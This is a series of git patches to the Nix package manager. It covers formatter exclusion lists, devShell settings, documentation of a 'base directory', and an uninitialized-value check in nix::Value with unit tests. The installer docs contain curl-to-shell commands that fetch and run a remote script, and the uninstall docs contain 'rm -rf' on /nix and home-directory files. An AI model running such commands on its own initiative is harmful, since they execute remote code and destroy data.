''^src/libstore/misc\.cc$'' + ''^src/libstore/names\.cc$'' + ''^src/libstore/names\.hh$'' + ''^src/libstore/nar-accessor\.cc$'' + ''^src/libstore/nar-accessor\.hh$'' + ''^src/libstore/nar-info-disk-cache\.cc$'' + ''^src/libstore/nar-info-disk-cache\.hh$'' + ''^src/libstore/nar-info\.cc$'' + ''^src/libstore/nar-info\.hh$'' + ''^src/libstore/outputs-spec\.cc$'' + ''^src/libstore/outputs-spec\.hh$'' + ''^src/libstore/parsed-derivations\.cc$'' + ''^src/libstore/path-info\.cc$'' + ''^src/libstore/path-info\.hh$'' + ''^src/libstore/path-references\.cc$'' + ''^src/libstore/path-regex\.hh$'' + ''^src/libstore/path-with-outputs\.cc$'' + ''^src/libstore/path\.cc$'' + ''^src/libstore/path\.hh$'' + ''^src/libstore/pathlocks\.cc$'' + ''^src/libstore/pathlocks\.hh$'' + ''^src/libstore/profiles\.cc$'' + ''^src/libstore/profiles\.hh$'' + ''^src/libstore/realisation\.cc$'' + ''^src/libstore/realisation\.hh$'' + ''^src/libstore/remote-fs-accessor\.cc$'' + ''^src/libstore/remote-fs-accessor\.hh$'' + ''^src/libstore/remote-store-connection\.hh$'' + ''^src/libstore/remote-store\.cc$'' + ''^src/libstore/remote-store\.hh$'' + ''^src/libstore/s3-binary-cache-store\.cc$'' + ''^src/libstore/s3\.hh$'' + ''^src/libstore/serve-protocol-impl\.cc$'' + ''^src/libstore/serve-protocol-impl\.hh$'' + ''^src/libstore/serve-protocol\.cc$'' + ''^src/libstore/serve-protocol\.hh$'' + ''^src/libstore/sqlite\.cc$'' + ''^src/libstore/sqlite\.hh$'' + ''^src/libstore/ssh-store-config\.hh$'' + ''^src/libstore/ssh-store\.cc$'' + ''^src/libstore/ssh\.cc$'' + ''^src/libstore/ssh\.hh$'' + ''^src/libstore/store-api\.cc$'' + ''^src/libstore/store-api\.hh$'' + ''^src/libstore/store-dir-config\.hh$'' + ''^src/libstore/unix/build/derivation-goal\.cc$'' + ''^src/libstore/unix/build/derivation-goal\.hh$'' + ''^src/libstore/unix/build/drv-output-substitution-goal\.cc$'' + ''^src/libstore/unix/build/drv-output-substitution-goal\.hh$'' + ''^src/libstore/unix/build/entry-points\.cc$'' + ''^src/libstore/unix/build/goal\.cc$'' + ''^src/libstore/unix/build/goal\.hh$'' + ''^src/libstore/unix/build/hook-instance\.cc$'' + ''^src/libstore/unix/build/local-derivation-goal\.cc$'' + ''^src/libstore/unix/build/local-derivation-goal\.hh$'' + ''^src/libstore/unix/build/substitution-goal\.cc$'' + ''^src/libstore/unix/build/substitution-goal\.hh$'' + ''^src/libstore/unix/build/worker\.cc$'' + ''^src/libstore/unix/build/worker\.hh$'' + ''^src/libstore/unix/builtins/fetchurl\.cc$'' + ''^src/libstore/unix/builtins/unpack-channel\.cc$'' + ''^src/libstore/unix/gc\.cc$'' + ''^src/libstore/unix/local-overlay-store\.cc$'' + ''^src/libstore/unix/local-overlay-store\.hh$'' + ''^src/libstore/unix/local-store\.cc$'' + ''^src/libstore/unix/local-store\.hh$'' + ''^src/libstore/unix/lock\.cc$'' + ''^src/libstore/unix/lock\.hh$'' + ''^src/libstore/unix/optimise-store\.cc$'' + ''^src/libstore/unix/pathlocks\.cc$'' + ''^src/libstore/unix/posix-fs-canonicalise\.cc$'' + ''^src/libstore/unix/posix-fs-canonicalise\.hh$'' + ''^src/libstore/unix/uds-remote-store\.cc$'' + ''^src/libstore/unix/uds-remote-store\.hh$'' + ''^src/libstore/windows/build\.cc$'' + ''^src/libstore/worker-protocol-impl\.hh$'' + ''^src/libstore/worker-protocol\.cc$'' + ''^src/libstore/worker-protocol\.hh$'' + ''^src/libutil-c/nix_api_util_internal\.h$'' + ''^src/libutil/archive\.cc$'' + ''^src/libutil/archive\.hh$'' + ''^src/libutil/args\.cc$'' + ''^src/libutil/args\.hh$'' + ''^src/libutil/args/root\.hh$'' + ''^src/libutil/callback\.hh$'' + ''^src/libutil/canon-path\.cc$'' + ''^src/libutil/canon-path\.hh$'' + ''^src/libutil/chunked-vector\.hh$'' + ''^src/libutil/closure\.hh$'' + ''^src/libutil/comparator\.hh$'' + ''^src/libutil/compute-levels\.cc$'' + ''^src/libutil/config-impl\.hh$'' + ''^src/libutil/config\.cc$'' + ''^src/libutil/config\.hh$'' + ''^src/libutil/current-process\.cc$'' + ''^src/libutil/current-process\.hh$'' + ''^src/libutil/english\.cc$'' + ''^src/libutil/english\.hh$'' + ''^src/libutil/environment-variables\.cc$'' + ''^src/libutil/error\.cc$'' + ''^src/libutil/error\.hh$'' + ''^src/libutil/exit\.hh$'' + ''^src/libutil/experimental-features\.cc$'' + ''^src/libutil/experimental-features\.hh$'' + ''^src/libutil/file-content-address\.cc$'' + ''^src/libutil/file-content-address\.hh$'' + ''^src/libutil/file-descriptor\.cc$'' + ''^src/libutil/file-descriptor\.hh$'' + ''^src/libutil/file-path-impl\.hh$'' + ''^src/libutil/file-path\.hh$'' + ''^src/libutil/file-system\.cc$'' + ''^src/libutil/file-system\.hh$'' + ''^src/libutil/finally\.hh$'' + ''^src/libutil/fmt\.hh$'' + ''^src/libutil/fs-sink\.cc$'' + ''^src/libutil/fs-sink\.hh$'' + ''^src/libutil/git\.cc$'' + ''^src/libutil/git\.hh$'' + ''^src/libutil/hash\.cc$'' + ''^src/libutil/hash\.hh$'' + ''^src/libutil/hilite\.cc$'' + ''^src/libutil/hilite\.hh$'' + ''^src/libutil/input-accessor\.hh$'' + ''^src/libutil/json-impls\.hh$'' + ''^src/libutil/json-utils\.cc$'' + ''^src/libutil/json-utils\.hh$'' + ''^src/libutil/linux/cgroup\.cc$'' + ''^src/libutil/linux/namespaces\.cc$'' + ''^src/libutil/logging\.cc$'' + ''^src/libutil/logging\.hh$'' + ''^src/libutil/lru-cache\.hh$'' + ''^src/libutil/memory-source-accessor\.cc$'' + ''^src/libutil/memory-source-accessor\.hh$'' + ''^src/libutil/pool\.hh$'' + ''^src/libutil/position\.cc$'' + ''^src/libutil/position\.hh$'' + ''^src/libutil/posix-source-accessor\.cc$'' + ''^src/libutil/posix-source-accessor\.hh$'' + ''^src/libutil/processes\.hh$'' + ''^src/libutil/ref\.hh$'' + ''^src/libutil/references\.cc$'' + ''^src/libutil/references\.hh$'' + ''^src/libutil/regex-combinators\.hh$'' + ''^src/libutil/serialise\.cc$'' + ''^src/libutil/serialise\.hh$'' + ''^src/libutil/signals\.hh$'' + ''^src/libutil/signature/local-keys\.cc$'' + ''^src/libutil/signature/local-keys\.hh$'' + ''^src/libutil/signature/signer\.cc$'' + ''^src/libutil/signature/signer\.hh$'' + ''^src/libutil/source-accessor\.cc$'' + ''^src/libutil/source-accessor\.hh$'' + ''^src/libutil/source-path\.cc$'' + ''^src/libutil/source-path\.hh$'' + ''^src/libutil/split\.hh$'' + ''^src/libutil/suggestions\.cc$'' + ''^src/libutil/suggestions\.hh$'' + ''^src/libutil/sync\.hh$'' + ''^src/libutil/terminal\.cc$'' + ''^src/libutil/terminal\.hh$'' + ''^src/libutil/thread-pool\.cc$'' + ''^src/libutil/thread-pool\.hh$'' + ''^src/libutil/topo-sort\.hh$'' + ''^src/libutil/types\.hh$'' + ''^src/libutil/unix/file-descriptor\.cc$'' + ''^src/libutil/unix/file-path\.cc$'' + ''^src/libutil/unix/monitor-fd\.hh$'' + ''^src/libutil/unix/processes\.cc$'' + ''^src/libutil/unix/signals-impl\.hh$'' + ''^src/libutil/unix/signals\.cc$'' + ''^src/libutil/unix/unix-domain-socket\.cc$'' + ''^src/libutil/unix/users\.cc$'' + ''^src/libutil/url-parts\.hh$'' + ''^src/libutil/url\.cc$'' + ''^src/libutil/url\.hh$'' + ''^src/libutil/users\.cc$'' + ''^src/libutil/users\.hh$'' + ''^src/libutil/util\.cc$'' + ''^src/libutil/util\.hh$'' + ''^src/libutil/variant-wrapper\.hh$'' + ''^src/libutil/windows/environment-variables\.cc$'' + ''^src/libutil/windows/file-descriptor\.cc$'' + ''^src/libutil/windows/file-path\.cc$'' + ''^src/libutil/windows/processes\.cc$'' + ''^src/libutil/windows/users\.cc$'' + ''^src/libutil/windows/windows-error\.cc$'' + ''^src/libutil/windows/windows-error\.hh$'' + ''^src/libutil/xml-writer\.cc$'' + ''^src/libutil/xml-writer\.hh$'' + ''^src/nix-build/nix-build\.cc$'' + ''^src/nix-channel/nix-channel\.cc$'' + ''^src/nix-collect-garbage/nix-collect-garbage\.cc$'' + ''^src/nix-env/buildenv.nix$'' + ''^src/nix-env/nix-env\.cc$'' + ''^src/nix-env/user-env\.cc$'' + ''^src/nix-env/user-env\.hh$'' + ''^src/nix-instantiate/nix-instantiate\.cc$'' + ''^src/nix-store/dotgraph\.cc$'' + ''^src/nix-store/graphml\.cc$'' + ''^src/nix-store/nix-store\.cc$'' + ''^src/nix/add-to-store\.cc$'' + ''^src/nix/app\.cc$'' + ''^src/nix/build\.cc$'' + ''^src/nix/bundle\.cc$'' + ''^src/nix/cat\.cc$'' + ''^src/nix/config-check\.cc$'' + ''^src/nix/config\.cc$'' + ''^src/nix/copy\.cc$'' + ''^src/nix/derivation-add\.cc$'' + ''^src/nix/derivation-show\.cc$'' + ''^src/nix/derivation\.cc$'' + ''^src/nix/develop\.cc$'' + ''^src/nix/diff-closures\.cc$'' + ''^src/nix/dump-path\.cc$'' + ''^src/nix/edit\.cc$'' + ''^src/nix/eval\.cc$'' + ''^src/nix/flake\.cc$'' + ''^src/nix/fmt\.cc$'' + ''^src/nix/hash\.cc$'' + ''^src/nix/log\.cc$'' + ''^src/nix/ls\.cc$'' + ''^src/nix/main\.cc$'' + ''^src/nix/make-content-addressed\.cc$'' + ''^src/nix/nar\.cc$'' + ''^src/nix/optimise-store\.cc$'' + ''^src/nix/path-from-hash-part\.cc$'' + ''^src/nix/path-info\.cc$'' + ''^src/nix/prefetch\.cc$'' + ''^src/nix/profile\.cc$'' + ''^src/nix/realisation\.cc$'' + ''^src/nix/registry\.cc$'' + ''^src/nix/repl\.cc$'' + ''^src/nix/run\.cc$'' + ''^src/nix/run\.hh$'' + ''^src/nix/search\.cc$'' + ''^src/nix/sigs\.cc$'' + ''^src/nix/store-copy-log\.cc$'' + ''^src/nix/store-delete\.cc$'' + ''^src/nix/store-gc\.cc$'' + ''^src/nix/store-info\.cc$'' + ''^src/nix/store-repair\.cc$'' + ''^src/nix/store\.cc$'' + ''^src/nix/unix/daemon\.cc$'' + ''^src/nix/upgrade-nix\.cc$'' + ''^src/nix/verify\.cc$'' + ''^src/nix/why-depends\.cc$'' + ]; + }; + + }; + + # We'll be pulling from this in the main flake + flake.getSystem = getSystem; +} diff --git a/maintainers/local.mk b/maintainers/local.mk new file mode 100644 index 000000000..88d594d67 --- /dev/null +++ b/maintainers/local.mk @@ -0,0 +1,15 @@ + +.PHONY: format +print-top-help += echo ' format: Format source code' + +# This uses the cached .pre-commit-hooks.yaml file +format: + @if ! type -p pre-commit &>/dev/null; then \ + echo "make format: pre-commit not found. Please use \`nix develop\`."; \ + exit 1; \ + fi; \ + if test -z "$$_NIX_PRE_COMMIT_HOOKS_CONFIG"; then \ + echo "make format: _NIX_PRE_COMMIT_HOOKS_CONFIG not set. Please use \`nix develop\`."; \ + exit 1; \ + fi; \ + pre-commit run --config $$_NIX_PRE_COMMIT_HOOKS_CONFIG --all-files diff --git a/package.nix b/package.nix index 1e5b9e449..d11743427 100644 --- a/package.nix +++ b/package.nix @@ -167,6 +167,8 @@ in { ./m4 # TODO: do we really need README.md? It doesn't seem used in the build. ./README.md + # This could be put behind a conditional + ./maintainers/local.mk # For make, regardless of what we are building ./local.mk ./Makefile From 8f042a5e6d78719986293f94be8f51cc47494a25 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 18 Apr 2024 22:49:13 +0200 Subject: [PATCH 0500/1251] pre-commit: Remove nixpkgs-fmt --- maintainers/flake-module.nix | 20 +------------------- 1 file changed, 1 insertion(+), 19 deletions(-) diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index ae78d4384..2ea94e9d9 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -11,7 +11,7 @@ pre-commit.settings = { hooks = { clang-format.enable = true; - nixpkgs-fmt.enable = true; + # TODO: nixfmt, https://github.com/NixOS/nixfmt/issues/153 }; excludes = [ @@ -25,23 +25,9 @@ ''^doc/manual/theme/highlight\.js$'' # We haven't applied formatting to these files yet - ''^doc/manual/generate-manpage\.nix$'' - ''^doc/manual/generate-settings\.nix$'' - ''^doc/manual/generate-store-info\.nix$'' - ''^doc/manual/generate-xp-features-shortlist\.nix$'' ''^doc/manual/redirects\.js$'' ''^doc/manual/theme/highlight\.js$'' - ''^doc/manual/utils\.nix$'' - ''^docker\.nix$'' - ''^flake\.nix$'' - ''^maintainers/flake-module\.nix$'' - ''^maintainers/flake-module\.nix$'' - ''^misc/changelog-d\.cabal\.nix$'' - ''^misc/changelog-d\.nix$'' - ''^package\.nix$'' - ''^perl/default\.nix$'' ''^precompiled-headers\.h$'' - ''^scripts/installer\.nix$'' ''^src/build-remote/build-remote\.cc$'' ''^src/libcmd/built-path\.cc$'' ''^src/libcmd/built-path\.hh$'' @@ -81,8 +67,6 @@ ''^src/libexpr/eval-settings\.hh$'' ''^src/libexpr/eval\.cc$'' ''^src/libexpr/eval\.hh$'' - ''^src/libexpr/fetchurl\.nix$'' - ''^src/libexpr/flake/call-flake\.nix$'' ''^src/libexpr/flake/config\.cc$'' ''^src/libexpr/flake/flake\.cc$'' ''^src/libexpr/flake/flake\.hh$'' @@ -95,7 +79,6 @@ ''^src/libexpr/gc-small-vector\.hh$'' ''^src/libexpr/get-drvs\.cc$'' ''^src/libexpr/get-drvs\.hh$'' - ''^src/libexpr/imported-drv-to-derivation\.nix$'' ''^src/libexpr/json-to-value\.cc$'' ''^src/libexpr/nixexpr\.cc$'' ''^src/libexpr/nixexpr\.hh$'' @@ -104,7 +87,6 @@ ''^src/libexpr/primops\.cc$'' ''^src/libexpr/primops\.hh$'' ''^src/libexpr/primops/context\.cc$'' - ''^src/libexpr/primops/derivation\.nix$'' ''^src/libexpr/primops/fetchClosure\.cc$'' ''^src/libexpr/primops/fetchMercurial\.cc$'' ''^src/libexpr/primops/fetchTree\.cc$'' From 96c8a9a417bf005d0764421c0e937079d9ad035e Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 18 Apr 2024 23:32:31 +0200 Subject: [PATCH 0501/1251] devShells: Prefix shell-for- Without this, it's not clear from an error trace that it's the shell that's evaluated. It would look like evaluating the nix package. --- flake.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/flake.nix b/flake.nix index 15aa8d3b5..5352aced9 100644 --- a/flake.nix +++ b/flake.nix @@ -430,6 +430,7 @@ let modular = devFlake.getSystem stdenv.buildPlatform.system; in { + pname = "shell-for-" + attrs.pname; installFlags = "sysconfdir=$(out)/etc"; shellHook = '' PATH=$prefix/bin:$PATH From a3ff75fd7efa1d0829ee7fd825636be9980da4bf Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 18 Apr 2024 23:45:00 +0200 Subject: [PATCH 0502/1251] devShells: null out src to avoid nix develop rebuild Whenever src changed, nix develop would internally create a fresh derivation, which it has to try and substitute and then build. Let's not do that. --- flake.nix | 3 +++ 1 file changed, 3 insertions(+) diff --git a/flake.nix b/flake.nix index 5352aced9..d9b0c63b5 100644 --- a/flake.nix +++ b/flake.nix @@ -441,6 +441,9 @@ XDG_DATA_DIRS+=:$out/share ''; + # We use this shell with the local checkout, not unpackPhase. + src = null; + env = { # For `make format`, to work without installing pre-commit _NIX_PRE_COMMIT_HOOKS_CONFIG = From b5f1d4cce990ca2bce52af9757235f60edbddc5a Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 21 Apr 2024 13:52:56 +0200 Subject: [PATCH 0503/1251] Edit docs --- doc/manual/src/contributing/hacking.md | 8 ++++---- flake.nix | 3 ++- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/doc/manual/src/contributing/hacking.md b/doc/manual/src/contributing/hacking.md index 61c513a15..08ba84faa 100644 --- a/doc/manual/src/contributing/hacking.md +++ b/doc/manual/src/contributing/hacking.md @@ -273,7 +273,7 @@ Configure your editor to use the `clangd` from the `.#native-clangStdenvPackages > Some other editors (e.g. Emacs, Vim) need a plugin to support LSP servers in general (e.g. [lsp-mode](https://github.com/emacs-lsp/lsp-mode) for Emacs and [vim-lsp](https://github.com/prabirshrestha/vim-lsp) for vim). > Editor-specific setup is typically opinionated, so we will not cover it here in more detail. -## Formatting and pre-commit +## Formatting and pre-commit hooks You may run the formatters as a one-off using: @@ -292,9 +292,9 @@ This installs [pre-commit](https://pre-commit.com) using [cachix/git-hooks.nix]( When making a commit, pay attention to the console output. If it fails, run `git add --patch` to approve the suggestions _and commit again_. -To refresh the config, do the following: -- if you use `make format`: stop and start your `nix develop` shell. -- if you use the pre-commit hook: stop and start, and run `pre-commit-hooks-install` again. +To refresh pre-commit hook's config file, do the following: +1. Exit the development shell and start it again by running `nix develop`. +2. If you also use the pre-commit hook, also run `pre-commit-hooks-install` again. ## Add a release note diff --git a/flake.nix b/flake.nix index d9b0c63b5..2795172bb 100644 --- a/flake.nix +++ b/flake.nix @@ -209,7 +209,8 @@ inherit fileset stdenv; }; - # https://github.com/NixOS/nixpkgs/pull/214409 + # See https://github.com/NixOS/nixpkgs/pull/214409 + # Remove when fixed in this flake's nixpkgs pre-commit = if prev.stdenv.hostPlatform.system == "i686-linux" then (prev.pre-commit.override (o: { dotnet-sdk = ""; })).overridePythonAttrs (o: { doCheck = false; }) From 73125e46fcdc5608ef70439acaf8b13850a4ef4d Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 19 Apr 2024 18:54:31 +0200 Subject: [PATCH 0504/1251] doc/glossary: Add base directory --- doc/manual/src/glossary.md | 19 +++++++++++++++++++ src/libcmd/common-eval-args.hh | 3 +++ src/libexpr/flake/flakeref.hh | 15 +++++++++++++++ src/libutil/args.hh | 2 +- 4 files changed, 38 insertions(+), 1 deletion(-) diff --git a/doc/manual/src/glossary.md b/doc/manual/src/glossary.md index 66e4628c0..88916bb50 100644 --- a/doc/manual/src/glossary.md +++ b/doc/manual/src/glossary.md @@ -295,6 +295,25 @@ [path]: ./language/values.md#type-path [attribute name]: ./language/values.md#attribute-set +- [base directory]{#gloss-base-directory} + + The location from which relative paths are resolved. + + - For expressions in a file, the base directory is the directory containing that file. + This is analogous to the directory of a [base URL](https://datatracker.ietf.org/doc/html/rfc1808#section-3.3). + + + + - For expressions written in command line arguments with [`--expr`](@docroot@/command-ref/opt-common.html#opt-expr), the base directory is the current working directory. + + [base directory]: #gloss-base-directory + - [experimental feature]{#gloss-experimental-feature} Not yet stabilized functionality guarded by named experimental feature flags. diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh index 25ce5b9da..0cb9ddbca 100644 --- a/src/libcmd/common-eval-args.hh +++ b/src/libcmd/common-eval-args.hh @@ -38,6 +38,9 @@ private: std::map autoArgs; }; +/** + * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) + */ SourcePath lookupFileArg(EvalState & state, std::string_view s, const Path * baseDir = nullptr); } diff --git a/src/libexpr/flake/flakeref.hh b/src/libexpr/flake/flakeref.hh index 5d78f49b6..04c812ed0 100644 --- a/src/libexpr/flake/flakeref.hh +++ b/src/libexpr/flake/flakeref.hh @@ -68,24 +68,39 @@ struct FlakeRef std::ostream & operator << (std::ostream & str, const FlakeRef & flakeRef); +/** + * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) + */ FlakeRef parseFlakeRef( const std::string & url, const std::optional & baseDir = {}, bool allowMissing = false, bool isFlake = true); +/** + * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) + */ std::optional maybeParseFlake( const std::string & url, const std::optional & baseDir = {}); +/** + * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) + */ std::pair parseFlakeRefWithFragment( const std::string & url, const std::optional & baseDir = {}, bool allowMissing = false, bool isFlake = true); +/** + * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) + */ std::optional> maybeParseFlakeRefWithFragment( const std::string & url, const std::optional & baseDir = {}); +/** + * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) + */ std::tuple parseFlakeRefWithFragmentAndExtendedOutputsSpec( const std::string & url, const std::optional & baseDir = {}, diff --git a/src/libutil/args.hh b/src/libutil/args.hh index 4b2e1d960..7759b74a9 100644 --- a/src/libutil/args.hh +++ b/src/libutil/args.hh @@ -41,7 +41,7 @@ public: virtual std::string doc() { return ""; } /** - * @brief Get the base directory for the command. + * @brief Get the [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) for the command. * * @return Generally the working directory, but in case of a shebang * interpreter, returns the directory of the script. From e8d267ad5b29c6c128648a24ad2b156ce966c7b1 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 19 Apr 2024 18:57:25 +0200 Subject: [PATCH 0505/1251] doc/values: Refer to base directory --- doc/manual/src/language/values.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/doc/manual/src/language/values.md b/doc/manual/src/language/values.md index 568542c0b..d4338e91e 100644 --- a/doc/manual/src/language/values.md +++ b/doc/manual/src/language/values.md @@ -97,8 +97,8 @@ is not a path: it's parsed as an expression that selects the attribute `sh` from the variable `builder`. If the file name is relative, i.e., if it does not begin with a slash, it is made - absolute at parse time relative to the directory of the Nix - expression that contained it. For instance, if a Nix expression in + absolute at parse time relative to the [base directory](@docroot@/glossary.md#gloss-base-directory). + For instance, if a Nix expression in `/foo/bar/bla.nix` refers to `../xyzzy/fnord.nix`, the absolute path is `/foo/xyzzy/fnord.nix`. @@ -107,7 +107,7 @@ e.g. `~/foo` would be equivalent to `/home/edolstra/foo` for a user whose home directory is `/home/edolstra`. - For instance, evaluating `"${./foo.txt}"` will cause `foo.txt` in the current directory to be copied into the Nix store and result in the string `"/nix/store/-foo.txt"`. + For instance, evaluating `"${./foo.txt}"` will cause `foo.txt` in the base directory to be copied into the Nix store and result in the string `"/nix/store/-foo.txt"`. Note that the Nix language assumes that all input files will remain _unchanged_ while evaluating a Nix expression. For example, assume you used a file path in an interpolated string during a `nix repl` session. From 722dfe9908b43a29b9b1175851db9653dfd7fbff Mon Sep 17 00:00:00 2001 From: Andrey Butirsky Date: Sun, 21 Apr 2024 16:24:09 +0300 Subject: [PATCH 0506/1251] Update installing-binary.md: give TTY to the installer Run the installer with TTY so the process can go interactively --- doc/manual/src/installation/installing-binary.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/manual/src/installation/installing-binary.md b/doc/manual/src/installation/installing-binary.md index 0dc989159..385008d8c 100644 --- a/doc/manual/src/installation/installing-binary.md +++ b/doc/manual/src/installation/installing-binary.md @@ -50,7 +50,7 @@ Supported systems: To explicitly instruct the installer to perform a multi-user installation on your system: ```console -$ curl -L https://nixos.org/nix/install | sh -s -- --daemon +$ bash <(curl -L https://nixos.org/nix/install) --daemon ``` You can run this under your usual user account or `root`. @@ -61,7 +61,7 @@ The script will invoke `sudo` as needed. To explicitly select a single-user installation on your system: ```console -$ curl -L https://nixos.org/nix/install | sh -s -- --no-daemon +$ bash <(curl -L https://nixos.org/nix/install) --no-daemon ``` In a single-user installation, `/nix` is owned by the invoking user. From d4b44a41fbc54e7353764836e0203f044d98a413 Mon Sep 17 00:00:00 2001 From: Andrey Butirsky Date: Sun, 21 Apr 2024 16:46:03 +0300 Subject: [PATCH 0507/1251] Update uninstall.md: mention .profile ~/.profile is auto-edited by the single-mode installer so we should mention it in the uninstall instructions --- doc/manual/src/installation/uninstall.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/manual/src/installation/uninstall.md b/doc/manual/src/installation/uninstall.md index 9ead5e53c..f682bb00f 100644 --- a/doc/manual/src/installation/uninstall.md +++ b/doc/manual/src/installation/uninstall.md @@ -7,6 +7,7 @@ If you have a [single-user installation](./installing-binary.md#single-user-inst ```console $ rm -rf /nix ``` +You might also want to manually remove reference to Nix from your `~/.profile`. ## Multi User From a6d08e3502eaed57b66a0167226b58ba4098ee14 Mon Sep 17 00:00:00 2001 From: Andrey Butirsky Date: Sun, 21 Apr 2024 17:08:37 +0300 Subject: [PATCH 0508/1251] Update uninstall.md: remove ~/.nix-* files also --- doc/manual/src/installation/uninstall.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/installation/uninstall.md b/doc/manual/src/installation/uninstall.md index f682bb00f..0465ee5bb 100644 --- a/doc/manual/src/installation/uninstall.md +++ b/doc/manual/src/installation/uninstall.md @@ -5,7 +5,7 @@ If you have a [single-user installation](./installing-binary.md#single-user-installation) of Nix, uninstall it by running: ```console -$ rm -rf /nix +$ rm -rf /nix ~/.nix-channels ~/.nix-defexpr ~/.nix-profile ``` You might also want to manually remove reference to Nix from your `~/.profile`. From 5cc4af5231608d0d85d120c20bd9bbc9da9338fa Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Thu, 18 Apr 2024 20:05:59 +0200 Subject: [PATCH 0509/1251] Add isInitialized to nix::Value Add a method to check if a value has been initialized. This helps avoid segfaults when calling `type()`. Useful in the context of the new C API. Closes #10524 --- src/libexpr/value.hh | 9 ++++++++- tests/unit/libexpr/value/value.cc | 25 +++++++++++++++++++++++++ 2 files changed, 33 insertions(+), 1 deletion(-) create mode 100644 tests/unit/libexpr/value/value.cc diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh index 7ed3fa5a9..a1003e16b 100644 --- a/src/libexpr/value.hh +++ b/src/libexpr/value.hh @@ -23,6 +23,7 @@ class BindingsBuilder; typedef enum { + tUnset, tInt = 1, tBool, tString, @@ -166,7 +167,7 @@ public: struct Value { private: - InternalType internalType; + InternalType internalType = tUnset; friend std::string showType(const Value & v); @@ -270,6 +271,7 @@ public: inline ValueType type(bool invalidIsThunk = false) const { switch (internalType) { + case tUnset: break; case tInt: return nInt; case tBool: return nBool; case tString: return nString; @@ -294,6 +296,11 @@ public: internalType = newType; } + inline bool isInitialized() + { + return internalType != tUnset; + } + inline void mkInt(NixInt n) { finishValue(tInt, { .integer = n }); diff --git a/tests/unit/libexpr/value/value.cc b/tests/unit/libexpr/value/value.cc new file mode 100644 index 000000000..49a896c87 --- /dev/null +++ b/tests/unit/libexpr/value/value.cc @@ -0,0 +1,25 @@ +#include "value.hh" + +#include "tests/libstore.hh" + +namespace nix { + +class ValueTest : public LibStoreTest +{}; + +TEST_F(ValueTest, unsetValue) +{ + Value unsetValue; + ASSERT_EQ(false, unsetValue.isInitialized()); + ASSERT_EQ(nThunk, unsetValue.type(true)); + ASSERT_DEATH(unsetValue.type(), ""); +} + +TEST_F(ValueTest, vInt) +{ + Value vInt; + vInt.mkInt(42); + ASSERT_EQ(true, vInt.isInitialized()); +} + +} // namespace nix From 9d7dee4a8f279ffd220d41d05a651761ed10d3be Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Sat, 20 Apr 2024 14:15:05 +0200 Subject: [PATCH 0510/1251] nix::Value: Use more descriptive names --- src/libexpr/value.hh | 15 ++++++++++----- tests/unit/libexpr/value/value.cc | 4 ++-- 2 files changed, 12 insertions(+), 7 deletions(-) diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh index a1003e16b..5795f04cf 100644 --- a/src/libexpr/value.hh +++ b/src/libexpr/value.hh @@ -23,7 +23,7 @@ class BindingsBuilder; typedef enum { - tUnset, + tUninitialized = 0, tInt = 1, tBool, tString, @@ -167,7 +167,7 @@ public: struct Value { private: - InternalType internalType = tUnset; + InternalType internalType = tUninitialized; friend std::string showType(const Value & v); @@ -271,7 +271,7 @@ public: inline ValueType type(bool invalidIsThunk = false) const { switch (internalType) { - case tUnset: break; + case tUninitialized: break; case tInt: return nInt; case tBool: return nBool; case tString: return nString; @@ -296,9 +296,14 @@ public: internalType = newType; } - inline bool isInitialized() + /** + * A value becomes valid when it is initialized. We don't use this + * in the evaluator; only in the bindings, where the slight extra + * cost is warranted because of inexperienced callers. + */ + inline bool isValid() const { - return internalType != tUnset; + return internalType != tUninitialized; } inline void mkInt(NixInt n) diff --git a/tests/unit/libexpr/value/value.cc b/tests/unit/libexpr/value/value.cc index 49a896c87..5762d5891 100644 --- a/tests/unit/libexpr/value/value.cc +++ b/tests/unit/libexpr/value/value.cc @@ -10,7 +10,7 @@ class ValueTest : public LibStoreTest TEST_F(ValueTest, unsetValue) { Value unsetValue; - ASSERT_EQ(false, unsetValue.isInitialized()); + ASSERT_EQ(false, unsetValue.isValid()); ASSERT_EQ(nThunk, unsetValue.type(true)); ASSERT_DEATH(unsetValue.type(), ""); } @@ -19,7 +19,7 @@ TEST_F(ValueTest, vInt) { Value vInt; vInt.mkInt(42); - ASSERT_EQ(true, vInt.isInitialized()); + ASSERT_EQ(true, vInt.isValid()); } } // namespace nix From ccad6e94e2d79241c0eab0d9f708bcd30155e840 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Sat, 20 Apr 2024 22:09:32 +0200 Subject: [PATCH 0511/1251] C API: add (un)initialized value checks --- src/libexpr-c/nix_api_value.cc | 46 ++++++++- tests/unit/libexpr/nix_api_value.cc | 93 ++++++++++++++----- .../libutil-support/tests/nix_api_util.hh | 13 ++- 3 files changed, 128 insertions(+), 24 deletions(-) diff --git 